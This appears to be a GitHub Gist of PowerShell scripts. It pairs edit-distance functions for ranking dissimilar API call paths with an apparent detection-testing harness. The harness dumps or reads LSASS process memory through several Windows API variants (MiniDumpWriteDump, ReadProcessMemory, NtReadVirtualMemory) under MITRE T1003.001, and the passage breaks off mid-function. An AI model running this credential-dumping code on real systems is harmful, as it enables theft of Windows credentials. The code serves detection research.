Last active
February 24, 2024 15:15
-
-
Save jaredcatkinson/014fd61dab5b01abfc791923b4a6efec to your computer and use it in GitHub Desktop.
This Gist is meant to be associated with a twitter thread describing a new approach to selecting the optimal set of variations given a finite set of tests. Make sure each of the associated scripts are loaded into you PowerShell session.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function ContextualEditDistance | |
{ | |
<# | |
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.600.3601&rep=rep1&type=pdf | |
https://github.com/chrislit/abydos/blob/344346a5fceb6acc631b3d24e16b73a303cece2c/abydos/distance/_higuera_mico.py | |
#> | |
[CmdletBinding()] | |
param( | |
[string] | |
$x, | |
[string] | |
$y | |
) | |
if($x -eq $y) | |
{ | |
$props = [ordered]@{ | |
FirstString = $x | |
SecondString = $y | |
EditDistance = 0 | |
MetricEditDistance = ([double]0.0) | |
} | |
Write-Output (New-Object -TypeName psobject -Property $props) | |
} | |
else | |
{ | |
# Initializing the Array | |
$n = New-Object 'Double[,,]' ($x.Length + 1), ($y.Length + 1), ($x.Length + $y.Length + 1) | |
for($i = 0; $i -le $x.Length; $i++) | |
{ | |
for($j = 0; $j -le $y.Length; $j++) | |
{ | |
for($k = 0; $k -le ($x.Length + $y.Length); $k++) | |
{ | |
$n[$i,$j,$k] = [double]::NegativeInfinity | |
} | |
} | |
} | |
# for i : 1 ≤ i ≤ |x| do ni[i][0][i] ← 0 | |
for($i = 1; $i -le $x.Length; $i++) | |
{ | |
$n[$i,0,$i] = 0 | |
} | |
# for j : 0 ≤ j ≤ |y| do ni[0][j][j] ← j | |
for($j = 0; $j -le $y.Length; $j++) | |
{ | |
$n[0,$j,$j] = $j | |
} | |
for($i = 1; $i -le $x.Length; $i++) | |
{ | |
for($j = 1; $j -le $y.Length; $j++) | |
{ | |
if($x[$i-1] -eq $y[$j-1]) | |
{ | |
for($k = 0; $k -le ($x.Length + $y.Length); $k++) | |
{ | |
$n[$i,$j,$k] = $n[($i-1),($j-1),$k] | |
} | |
} | |
else | |
{ | |
for($k = 1; $k -le ($x.Length + $y.Length); $k++) | |
{ | |
$n[$i,$j,$k] = $n[($i-1),($j-1),($k-1)] | |
} | |
} | |
for($k = 1; $k -le ($x.Length + $y.Length); $k++) | |
{ | |
$n[$i,$j,$k] = [Math]::Max([Math]::Max(($n[($i-1),$j,($k-1)]),($n[$i,($j-1),($k-1)]+1)),($n[$i,$j,$k])) | |
Write-Verbose "[$($i),$($j),$($k)]: $($n[$i,$j,$k])" | |
} | |
} | |
} | |
$b = [double]::PositiveInfinity | |
for($k = 0; $k -le ($x.Length + $y.Length); $k++) | |
{ | |
if($n[$x.Length,$y.Length,$k] -ge 0) | |
{ | |
$n_i = $n[$x.Length,$y.Length,$k] | |
$n_d = $x.Length - $y.Length + $n_i | |
$n_s = $k - ($n_i + $n_d) | |
$d = 0 | |
for($i = ($x.Length + 1); $i -le ($x.Length + $n_i); $i++) | |
{ | |
$d += 1 / $i | |
} | |
$d += $n_s / ($x.Length + $n_i) | |
for($i = ($y.Length + 1); $i -le ($y.Length + $n_d); $i++) | |
{ | |
$d += 1 / $i | |
} | |
if($d -lt $b) | |
{ | |
$b = $d | |
} | |
} | |
} | |
$props = [ordered]@{ | |
FirstString = $x | |
SecondString = $y | |
EditDistance = 0 | |
MetricEditDistance = ([Math]::Min([double]1.0, $b)) | |
} | |
Write-Output (New-Object -TypeName psobject -Property $props) | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-LeastSimilarPath | |
{ | |
param( | |
[Parameter(Mandatory = $true, Position = 0)] | |
[string[]]$Paths, | |
[Parameter(Mandatory = $true, Position = 1)] | |
[string]$StartingPath, | |
[Parameter(Mandatory = $false, Position = 2)] | |
[UInt32]$Depth = $Paths.Length, | |
[Parameter()] | |
[ValidateSet('Higuera-Mico', 'Yujian-Bo', 'Vidal-Marzal', 'CED', 'GED', 'NED')] | |
[string]$Algorithm = 'CED' | |
) | |
# Make sure we don't overflow the number of paths | |
if($Depth -ge $Paths.Length) | |
{ | |
$Depth = $Paths.Length | |
} | |
# Output the Starting Path as the first path | |
$props = [ordered]@{Position = 1; Path = $StartingPath; MetricDistance = 0} | |
$InitialPath = New-Object -TypeName psobject -Property $props | |
Write-Output $InitialPath | |
# Get initial similarity to the Starting Path | |
$Similarity = Get-PathSimilarity -Paths $Paths -StartingPath $StartingPath -Algorithm $Algorithm | |
$PathList = New-Object Collections.Generic.List[Object] | |
$PathList.AddRange($Similarity) | |
# Create results array and add the Starting Path | |
$results = New-Object string[] $Paths.Length | |
$results[0] = $StartingPath | |
for($i = 1; $i -lt $Depth; $i++) | |
{ | |
# Build the Percentages | |
$hashtable = @{} | |
foreach($path in $PathList) | |
{ | |
if(-not $hashtable.ContainsKey($path.SecondPath)) | |
{ | |
$hashtable.Add($path.SecondPath, $path.MetricEditDistance) | |
} | |
else | |
{ | |
$hashtable[$path.SecondPath] += $path.MetricEditDistance | |
} | |
} | |
# Remove prior paths from future selection | |
foreach($result in $results) | |
{ | |
if($result -ne $null) | |
{ | |
$hashtable.Remove($result) | |
} | |
} | |
# Find the Least Similar Path | |
$LeastSimilar = $null | |
$LowestPercentage = $null | |
foreach($key in $hashtable.Keys) | |
{ | |
if($LeastSimilar -eq $null) | |
{ | |
$LowestPercentage = $hashtable[$key] | |
$props = [ordered]@{Position = ($i+1); Path = $key; MetricDistance = ($LowestPercentage/($i))} | |
$LeastSimilar = New-Object -TypeName psobject -Property $props | |
} | |
elseif($hashtable[$key] -gt $LowestPercentage) | |
{ | |
$LowestPercentage = $hashtable[$key] | |
$props = [ordered]@{Position = ($i+1); Path = $key; MetricDistance = ($LowestPercentage/($i))} | |
$LeastSimilar = New-Object -TypeName psobject -Property $props | |
} | |
# In some cases, two paths will have the same dissimilarity. In these cases, we chose the shortest path to maximize the distance from the starting point. | |
elseif($hashtable[$key] -eq $LowestPercentage) | |
{ | |
if($key.Length -lt $LeastSimilar.Path.Length) | |
{ | |
$LowestPercentage = $hashtable[$key] | |
$props = [ordered]@{Position = ($i+1); Path = $key; MetricDistance = ($LowestPercentage/($i))} | |
$LeastSimilar = New-Object -TypeName psobject -Property $props | |
} | |
} | |
} | |
# Output the next least similar path | |
Write-Output $LeastSimilar | |
# Add the selected path to the suppression array | |
$results[$i] = $LeastSimilar.Path | |
# Add the next set of comparisons to the Path List | |
$Similarity = Get-PathSimilarity -Paths $Paths -StartingPath $LeastSimilar.Path | |
$PathList.AddRange($Similarity) | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-PathSimilarity | |
{ | |
param( | |
[Parameter(Mandatory)] | |
[string[]]$Paths, | |
[Parameter()] | |
[ValidateNotNullOrEmpty()] | |
[string]$StartingPath, | |
[Parameter()] | |
[ValidateSet('Higuera-Mico', 'Yujian-Bo', 'Vidal-Marzal', 'CED', 'GED', 'NED')] | |
[string]$Algorithm = 'Higuera-Mico' | |
) | |
if($PSBoundParameters.ContainsKey('StartingPath')) | |
{ | |
foreach($path in $paths) | |
{ | |
if(($Algorithm -eq 'Higuera-Mico') -or ($Algorithm -eq 'CED')) | |
{ | |
$ed = ContextualEditDistance -x $StartingPath -y $path | |
} | |
elseif(($Algorithm -eq 'Yujian-Bo') -or ($Algorithm -eq 'NED')) | |
{ | |
$ed = YujianBoDistance -x $StartingPath -y $path | |
} | |
elseif(($Algorithm -eq 'Vidal-Marzal') -or ($Algorithm -eq 'GED')) | |
{ | |
$ed = NormalizedEditDistance -x $StartingPath -y $path | |
} | |
$props = [ordered]@{ | |
FirstPath = $ed.FirstString | |
SecondPath = $ed.SecondString | |
EditDistance = $ed.EditDistance | |
MetricEditDistance = $ed.MetricEditDistance | |
} | |
New-Object -TypeName psobject -Property $props | |
} | |
} | |
else | |
{ | |
foreach($path in $paths) | |
{ | |
foreach($p in $paths) | |
{ | |
if(($Algorithm -eq 'Higuera-Mico') -or ($Algorithm -eq 'CED')) | |
{ | |
$ed = ContextualEditDistance -x $path -y $p | |
} | |
elseif(($Algorithm -eq 'YujianBo') -or ($Algorithm -eq 'NED')) | |
{ | |
$ed = YujianBoDistance -x $path -y $p | |
} | |
elseif(($Algorithm -eq 'VidalMarzal') -or ($Algorithm -eq 'GED')) | |
{ | |
$ed = NormalizedEditDistance -x $path -y $p | |
} | |
$props = @{ | |
FirstPath = $ed.FirstString | |
SecondPath = $ed.SecondString | |
EditDistance = $ed.EditDistance | |
MetricEditDistance = $ed.MetricEditDistance | |
} | |
New-Object -TypeName psobject -Property $props | |
} | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (-not ('AtomicTestHarnesses.ProcessNativeMethods' -as [Type])) { | |
$TypeDef = @' | |
using System; | |
using System.Runtime.InteropServices; | |
namespace AtomicTestHarnesses { | |
[Flags] | |
public enum MiniDumpType { | |
MiniDumpNormal = 0x00000000, | |
MiniDumpWithDataSegs = 0x00000001, | |
MiniDumpWithFullMemory = 0x00000002, | |
MiniDumpWithHandleData = 0x00000004, | |
MiniDumpFilterMemory = 0x00000008, | |
MiniDumpScanMemory = 0x00000010, | |
MiniDumpWithUnloadedModules = 0x00000020, | |
MiniDumpWithIndirectlyReferencedMemory = 0x00000040, | |
MiniDumpFilterModulePaths = 0x00000080, | |
MiniDumpWithProcessThreadData = 0x00000100, | |
MiniDumpWithPrivateReadWriteMemory = 0x00000200, | |
MiniDumpWithoutOptionalData = 0x00000400, | |
MiniDumpWithFullMemoryInfo = 0x00000800, | |
MiniDumpWithThreadInfo = 0x00001000, | |
MiniDumpWithCodeSegs = 0x00002000, | |
MiniDumpWithoutAuxiliaryState = 0x00004000, | |
MiniDumpWithFullAuxiliaryState = 0x00008000, | |
MiniDumpWithPrivateWriteCopyMemory = 0x00010000, | |
MiniDumpIgnoreInaccessibleMemory = 0x00020000, | |
MiniDumpWithTokenInformation = 0x00040000, | |
MiniDumpWithModuleHeaders = 0x00080000, | |
MiniDumpFilterTriage = 0x00100000, | |
MiniDumpWithAvxXStateContext = 0x00200000, | |
MiniDumpWithIptTrace = 0x00400000, | |
MiniDumpScanInaccessiblePartialPages = 0x00800000, | |
MiniDumpFilterWriteCombinedMemory, | |
MiniDumpValidTypeFlags = 0x01ffffff | |
} | |
[Flags] | |
public enum SnapshotFlags { | |
Process = 0x00000002 | |
} | |
[Flags] | |
public enum ProcessAccess { | |
AllAccess = 0x001FFFFF, | |
Terminate = 0x00000001, | |
CreateThread = 0x00000002, | |
VirtualMemoryOperation = 0x00000008, | |
VirtualMemoryRead = 0x00000010, | |
VirtualMemoryWrite = 0x00000020, | |
DuplicateHandle = 0x00000040, | |
CreateProcess = 0x000000080, | |
SetQuota = 0x00000100, | |
SetInformation = 0x00000200, | |
QueryInformation = 0x00000400, | |
QueryLimitedInformation = 0x00001000, | |
Synchronize = 0x00100000 | |
} | |
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] | |
public struct PROCESSENTRY32 | |
{ | |
public const int MAX_PATH = 260; | |
public UInt32 dwSize; | |
public UInt32 cntUsage; | |
public UInt32 th32ProcessID; | |
public IntPtr th32DefaultHeapID; | |
public UInt32 th32ModuleID; | |
public UInt32 cntThreads; | |
public UInt32 th32ParentProcessID; | |
public Int32 pcPriClassBase; | |
public UInt32 dwFlags; | |
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = MAX_PATH)] | |
public string szExeFile; | |
} | |
public class ProcessNativeMethods { | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr OpenProcess( | |
ProcessAccess processAccess, | |
bool bInheritHandle, | |
int processId); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern bool DuplicateHandle( | |
IntPtr hSourceProcessHandle, | |
IntPtr hSourceHandle, | |
IntPtr hTargetProcessHandle, | |
ref IntPtr lpTargetHandle, | |
ProcessAccess DesiredAccess, | |
[MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, | |
UInt32 dwOptions); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern bool ReadProcessMemory( | |
IntPtr hProcess, | |
IntPtr lpBaseAddress, | |
IntPtr lpBuffer, | |
UInt32 dwSize, | |
ref UInt32 lpNumberOfBytesRead); | |
[DllImport("kernelbase.dll", EntryPoint = "ReadProcessMemory", SetLastError = true)] | |
public static extern bool KernelbaseReadProcessMemory( | |
IntPtr hProcess, | |
IntPtr lpBaseAddress, | |
IntPtr lpBuffer, | |
UInt32 dwSize, | |
ref UInt32 lpNumberOfBytesRead); | |
[DllImport("api-ms-win-core-memory-l1-1-0", EntryPoint = "ReadProcessMemory", SetLastError = true)] | |
public static extern bool ApisetReadProcessMemory( | |
IntPtr hProcess, | |
IntPtr lpBaseAddress, | |
IntPtr lpBuffer, | |
UInt32 dwSize, | |
ref UInt32 lpNumberOfBytesRead); | |
[DllImport("ntdll.dll", SetLastError=true)] | |
public static extern bool NtReadVirtualMemory( | |
IntPtr ProcessHandle, | |
IntPtr BaseAddress, | |
IntPtr Buffer, | |
UInt32 NumberOfBytesToRead, | |
ref UInt32 NumberOfBytesRead); | |
[DllImport("kernel32.dll", SetLastError=true)] | |
public static extern IntPtr CreateToolhelp32Snapshot( | |
SnapshotFlags dwFlags, | |
uint th32ProcessID); | |
[DllImport("Dbghelp.dll", SetLastError = true)] | |
public static extern bool MiniDumpWriteDump( | |
IntPtr hProcess, | |
uint ProcessId, | |
IntPtr hFile, | |
MiniDumpType DumpType, | |
IntPtr ExceptionParam, | |
IntPtr UserStreamParam, | |
IntPtr CallbackParam); | |
[DllImport("Dbgcore.dll", EntryPoint = "MiniDumpWriteDump", SetLastError = true)] | |
public static extern bool DbgcoreMiniDumpWriteDump( | |
IntPtr hProcess, | |
uint ProcessId, | |
IntPtr hFile, | |
MiniDumpType DumpType, | |
IntPtr ExceptionParam, | |
IntPtr UserStreamParam, | |
IntPtr CallbackParam); | |
[DllImport("kernel32", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)] | |
public static extern bool Process32First( | |
IntPtr hSnapshot, | |
ref PROCESSENTRY32 lppe); | |
[DllImport("kernel32", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)] | |
public static extern bool Process32Next( | |
IntPtr hSnapshot, | |
ref PROCESSENTRY32 lppe); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr GetCurrentProcess(); | |
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] | |
public static extern IntPtr CreateFile( | |
String lpFileName, | |
UInt32 dwDesiredAccess, | |
UInt32 dwShareMode, | |
IntPtr lpSecurityAttributes, | |
UInt32 dwCreationDisposition, | |
UInt32 dwFlagsAndAttributes, | |
IntPtr hTemplateFile); | |
[DllImport("kernel32.dll", SetLastError=true)] | |
public static extern bool CloseHandle( | |
IntPtr hHandle); | |
} | |
} | |
'@ | |
Add-Type -TypeDefinition $TypeDef | |
} | |
function Invoke-ATHDumpLSASS { | |
param ( | |
[Parameter()] | |
[Int32] | |
[Alias('Id')] | |
$ProcessId = (Get-Process -Name lsass)[0].Id, | |
[Parameter(ParameterSetName = 'VariantString')] | |
[ValidateSet('Dbghelp!MiniDumpWriteDump', 'Dbgcore!MiniDumpWriteDump', 'Kernel32!ReadProcessMemory', 'api-ms-win-core-memory-l1-1-0!ReadProcessMemory', 'Kernelbase!ReadProcessMemory', 'Kernel32!CreateToolhelp32Snapshot', 'DuplicateHandle', 'Ntdll!NtReadVirtualMemory')] | |
[String] | |
$Variant = 'Dbghelp!MiniDumpWriteDump', | |
[Parameter(ParameterSetName = 'FunctionPath', ValueFromPipelineByPropertyName = $true)] | |
[string[]] | |
[Alias('Path')] | |
$FunctionPath, | |
[Parameter()] | |
[ValidateSet('AllAccess', 'QueryLimitedInformation', 'QueryInformation', 'VirtualMemoryRead', 'QueryLimitedInformation, VirtualMemoryRead', 'QueryInformation, VirtualMemoryRead')] | |
[string] | |
$AccessRights = 'QueryInformation, VirtualMemoryRead', | |
[Parameter()] | |
[string] | |
$DuplicateHandleAccessRights = 'DuplicateHandle', | |
[Parameter()] | |
[string] | |
$DumpPath = 'C:\TestHarness.dmp', | |
[Parameter()] | |
[Guid] | |
$TestGuid = (New-Guid) | |
) | |
BEGIN { | |
$IsAdministrator = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") | |
if ($IsAdministrator -eq $False){ | |
Write-Error "Insufficent privileges to perform operation. Please run as Administrator." | |
return | |
} | |
$TestCommand = $MyInvocation | |
$SourceProcessPath = $null | |
$SourceUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name | |
$SHA256 = [Security.Cryptography.SHA256]::Create() | |
$SourceProcessPath = (Get-CimInstance -ClassName Win32_Process -Property ExecutablePath -Filter "ProcessId=$PID").Path | |
$ResolvedSourceFilePath = Resolve-Path -Path $SourceProcessPath -ErrorAction Stop | |
$SourceExeBytes = [IO.File]::ReadAllBytes($ResolvedSourceFilePath.Path) | |
$SourceExeHash = ($SHA256.ComputeHash($SourceExeBytes) | ForEach-Object { $_.ToString('X2') }) -join '' | |
$TargetExecutablePath = $null | |
$TargetExecutablePath = (Get-CimInstance -ClassName Win32_Process -Property ExecutablePath -Filter "ProcessId=$ProcessId").Path | |
$ResolvedTargetFilePath = Resolve-Path -Path $TargetExecutablePath -ErrorAction Stop | |
$TargetExeBytes = [IO.File]::ReadAllBytes($ResolvedTargetFilePath.Path) | |
$TargetExeHash = ($SHA256.ComputeHash($TargetExeBytes) | ForEach-Object { $_.ToString('X2') }) -join '' | |
} | |
PROCESS { | |
if($PSBoundParameters.ContainsKey('FunctionPath')) { | |
switch($FunctionPath) { | |
'ADFGH' { | |
$Variant = 'Dbghelp!MiniDumpWriteDump' | |
} | |
'BEFGH' { | |
$Variant = 'Kernel32!CreateToolhelp32Snapshot' | |
} | |
'CEFGH' { | |
$Variant = 'Kernel32!ReadProcessMemory' | |
} | |
'DFGH' { | |
$Variant = 'Dbgcore!MiniDumpWriteDump' | |
} | |
'EFGH' { | |
$Variant = 'api-ms-win-core-memory-l1-1-0!ReadProcessMemory' | |
} | |
'FGH' { | |
$Variant = 'Kernelbase!ReadProcessMemory' | |
} | |
'GH' { | |
$Variant = 'Ntdll!NtReadVirtualMemory' | |
} | |
'H' { | |
$Variant = 'Ntdll!NtReadVirtualMemory' | |
} | |
} | |
} | |
switch($Variant) { | |
'Dbghelp!MiniDumpWriteDump' { | |
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess( | |
$AccessRights, | |
$False, | |
$ProcessId | |
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($ProcessHandle -eq [IntPtr]::Zero){ | |
Write-Error $LastError | |
return | |
} | |
$hFile = [IntPtr]::Zero | |
$hFile = [AtomicTestHarnesses.ProcessNativeMethods]::CreateFile($DumpPath, [System.IO.FileAccess]::Write, [System.IO.FileShare]::Write, [IntPtr]::Zero, [System.IO.FileMode]::Create, 0, [IntPtr]::Zero);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($hFile -eq [IntPtr]::Zero){ | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
Write-Error $LastError | |
return | |
} | |
$MiniDump = [AtomicTestHarnesses.ProcessNativeMethods]::MiniDumpWriteDump( | |
$ProcessHandle, | |
$ProcessId, | |
$hFile, | |
'MiniDumpWithFullMemory', | |
[IntPtr]::Zero, | |
[IntPtr]::Zero, | |
[IntPtr]::Zero);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($MiniDump -eq 0){ | |
Write-Error $LastError | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($hFile) | |
$FullPath = Resolve-Path -Path $DumpPath | |
$null = Remove-Item $FullPath -Force | |
return | |
} | |
else{ | |
$TestSuccess = $true | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($hFile) | |
$FullPath = Resolve-Path -Path $DumpPath | |
$null = Remove-Item $FullPath -Force | |
} | |
[PSCustomObject] @{ | |
TechniqueID = 'T1003.001' | |
StartingFunction = $Variant | |
FunctionPath = $FunctionPath | |
TestSuccess = $TestSuccess | |
TestGuid = $TestGuid | |
TestCommand = $TestCommand.Line | |
SourceUser = $SourceUser | |
SourceExecutableFilePath = $SourceProcessPath | |
SourceExecutableFileHash = $SourceExeHash | |
SourceProcessId = $PID | |
GrantedRights = $AccessRights | |
TargetExecutableFilePath = $TargetExecutablePath | |
TargetExecutableFileHash = $TargetExeHash | |
TargetProcessId = $ProcessId | |
DumpFile = $DumpPath | |
} | |
break | |
} | |
'Kernel32!CreateToolhelp32Snapshot' { | |
$SnapshotHandle = [IntPtr]::Zero | |
$SnapshotHandle = [AtomicTestHarnesses.ProcessNativeMethods]::CreateToolhelp32Snapshot( | |
'Process', | |
0 | |
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($SnapshotHandle -eq [IntPtr]::Zero){ | |
Write-Error $LastError | |
return | |
} | |
$procEntry = New-Object -TypeName AtomicTestHarnesses.PROCESSENTRY32 | |
$procEntry.dwSize = [System.Runtime.InteropServices.Marshal]::SizeOf($procEntry) | |
if([AtomicTestHarnesses.ProcessNativeMethods]::Process32First($SnapshotHandle, [ref]$procEntry)){ | |
while("lsass.exe" -ne $procEntry.szExeFile){ | |
$Next = [AtomicTestHarnesses.ProcessNativeMethods]::Process32Next($SnapshotHandle, [ref]$procEntry) | |
$processName = $procEntry.szExeFile | |
$LsassId = $procEntry.th32ProcessID | |
} | |
} | |
else{ | |
Write-Error $LastError | |
return | |
} | |
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess( | |
$AccessRights, | |
$False, | |
$LsassId | |
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($ProcessHandle -eq [IntPtr]::Zero){ | |
Write-Error $LastError | |
return | |
} | |
$hFile = [IntPtr]::Zero | |
$hFile = [AtomicTestHarnesses.ProcessNativeMethods]::CreateFile($DumpPath, [System.IO.FileAccess]::Write, [System.IO.FileShare]::Write, [IntPtr]::Zero, [System.IO.FileMode]::Create, 0, [IntPtr]::Zero);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($hFile -eq [IntPtr]::Zero){ | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
Write-Error $LastError | |
return | |
} | |
$MiniDump = [AtomicTestHarnesses.ProcessNativeMethods]::MiniDumpWriteDump( | |
$ProcessHandle, | |
$ProcessId, | |
$hFile, | |
'MiniDumpWithFullMemory', | |
[IntPtr]::Zero, | |
[IntPtr]::Zero, | |
[IntPtr]::Zero);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($MiniDump -eq 0){ | |
Write-Error $LastError | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($SnapshotHandle) | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($hFile) | |
$FullPath = Resolve-Path -Path $DumpPath | |
$null = Remove-Item $FullPath -Force | |
return | |
} | |
else{ | |
$TestSuccess = $true | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($SnapshotHandle) | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($hFile) | |
$FullPath = Resolve-Path -Path $DumpPath | |
$null = Remove-Item $FullPath -Force | |
} | |
[PSCustomObject] @{ | |
TechniqueID = 'T1003.001' | |
StartingFunction = $Variant | |
FunctionPath = $FunctionPath | |
TestSuccess = $TestSuccess | |
TestGuid = $TestGuid | |
TestCommand = $TestCommand.Line | |
SourceUser = $SourceUser | |
SourceExecutableFilePath = $SourceProcessPath | |
SourceExecutableFileHash = $SourceExeHash | |
SourceProcessId = $PID | |
GrantedRights = $AccessRights | |
TargetExecutableFilePath = $TargetExecutablePath | |
TargetExecutableFileHash = $TargetExeHash | |
TargetProcessId = $ProcessId | |
DumpFile = $DumpPath | |
} | |
break | |
} | |
'Kernel32!ReadProcessMemory' { | |
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess( | |
$AccessRights, | |
$False, | |
$ProcessId | |
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($ProcessHandle -eq [IntPtr]::Zero){ | |
Write-Error $LastError | |
return | |
} | |
$BytesRead = 0 | |
[IntPtr]$lpBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1024) #Get Proper Size of process memory to avoid errors regarding the size of buffer. Ie Buffer is too small to handle LSASS mem. | |
$lpBaseAddress = (Get-Process -Name lsass -Module)[0].BaseAddress | |
$Success = [AtomicTestHarnesses.ProcessNativeMethods]::ReadProcessMemory( | |
$ProcessHandle, | |
$lpBaseAddress, | |
$lpBuffer, | |
1024, | |
[ref]$BytesRead | |
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($Success -eq 0){ | |
Write-Error $LastError | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle); | |
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer) | |
return | |
} | |
else{ | |
$TestSuccess = $true | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer) | |
} | |
[PSCustomObject] @{ | |
TechniqueID = 'T1003.001' | |
StartingFunction = $Variant | |
FunctionPath = $FunctionPath | |
TestSuccess = $TestSuccess | |
TestGuid = $TestGuid | |
TestCommand = $TestCommand.Line | |
SourceUser = $SourceUser | |
SourceExecutableFilePath = $SourceProcessPath | |
SourceExecutableFileHash = $SourceExeHash | |
SourceProcessId = $PID | |
GrantedRights = $AccessRights | |
TargetExecutableFilePath = $TargetExecutablePath | |
TargetExecutableFileHash = $TargetExeHash | |
TargetProcessId = $ProcessId | |
DumpFile = $DumpPath | |
} | |
break | |
} | |
'Dbgcore!MiniDumpWriteDump' { | |
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess( | |
$AccessRights, | |
$False, | |
$ProcessId | |
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($ProcessHandle -eq [IntPtr]::Zero){ | |
Write-Error $LastError | |
return | |
} | |
$hFile = [IntPtr]::Zero | |
$hFile = [AtomicTestHarnesses.ProcessNativeMethods]::CreateFile($DumpPath, [System.IO.FileAccess]::Write, [System.IO.FileShare]::Write, [IntPtr]::Zero, [System.IO.FileMode]::Create, 0, [IntPtr]::Zero);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($hFile -eq [IntPtr]::Zero){ | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
Write-Error $LastError | |
return | |
} | |
$MiniDump = [AtomicTestHarnesses.ProcessNativeMethods]::DbgcoreMiniDumpWriteDump( | |
$ProcessHandle, | |
$ProcessId, | |
$hFile, | |
'MiniDumpWithFullMemory', | |
[IntPtr]::Zero, | |
[IntPtr]::Zero, | |
[IntPtr]::Zero);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($MiniDump -eq 0){ | |
Write-Error $LastError | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($hFile) | |
$FullPath = Resolve-Path -Path $DumpPath | |
$null = Remove-Item $FullPath -Force | |
return | |
} | |
else{ | |
$TestSuccess = $true | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($hFile) | |
$FullPath = Resolve-Path -Path $DumpPath | |
$null = Remove-Item $FullPath -Force | |
} | |
[PSCustomObject] @{ | |
TechniqueID = 'T1003.001' | |
StartingFunction = $Variant | |
FunctionPath = $FunctionPath | |
TestSuccess = $TestSuccess | |
TestGuid = $TestGuid | |
TestCommand = $TestCommand.Line | |
SourceUser = $SourceUser | |
SourceExecutableFilePath = $SourceProcessPath | |
SourceExecutableFileHash = $SourceExeHash | |
SourceProcessId = $PID | |
GrantedRights = $AccessRights | |
TargetExecutableFilePath = $TargetExecutablePath | |
TargetExecutableFileHash = $TargetExeHash | |
TargetProcessId = $ProcessId | |
DumpFile = $DumpPath | |
} | |
break | |
} | |
'api-ms-win-core-memory-l1-1-0!ReadProcessMemory' { | |
